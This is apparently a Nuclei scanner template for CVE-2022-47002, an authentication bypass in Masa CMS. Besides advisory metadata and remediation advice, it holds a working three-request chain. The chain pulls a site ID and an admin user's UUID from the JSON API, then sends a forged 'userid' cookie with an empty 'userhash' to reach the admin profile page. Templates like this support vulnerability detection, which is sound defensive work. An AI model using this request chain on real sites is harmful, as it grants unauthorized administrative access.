id: CVE-2022-47002 info: name: Masa CMS - Authentication Bypass author: iamnoooob,rootxharsh,pdresearch severity: critical description: | Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system. remediation: | Apply the latest security patch or update provided by the vendor to fix the authentication bypass vulnerability in Masa CMS. reference: - https://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html - https://github.com/MasaCMS/MasaCMS/releases/tag/7.3.10 - https://hoyahaxa.blogspot.com/2023/01/preliminary-security-advisory.html - https://nvd.nist.gov/vuln/detail/CVE-2022-47002 - https://www.hoyahaxa.com/2023/01/preliminary-security-advisory.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-47002 cwe-id: CWE-863 epss-score: 0.0395 epss-percentile: 0.91808 cpe: cpe:2.3:a:masacms:masacms:*:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: masacms product: masacms shodan-query: 'Generator: Masa CMS' tags: cve,cve2022,auth-bypass,cms,masa,masacms http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1 Host: {{Hostname}} - | GET /admin/?muraAction=cEditProfile.edit HTTP/1.1 Host: {{Hostname}} Cookie: userid={{uuid}}; userhash= redirects: true max-redirects: 2 matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_3,"\"userid\"")' condition: and - type: word part: body_3 words: - "Edit Profile" extractors: - type: regex name: siteid group: 1 regex: - 'siteid:"(.*?)"' internal: true part: body - type: regex name: uuid group: 1 regex: - '"lastupdatebyid":"([A-F0-9-]+)"' internal: true part: body # digest: 4a0a00473045022100e3097e1250b20cab477464c81fac1ed317a7219c4e7a2c1a708487b21d40dd1d02202a1a5c6c96fb4cb4b010a4a7fc3023d770492fb35b2e1291eca3d007beb48c8d:922c64590222798bb761d5b6d8e72950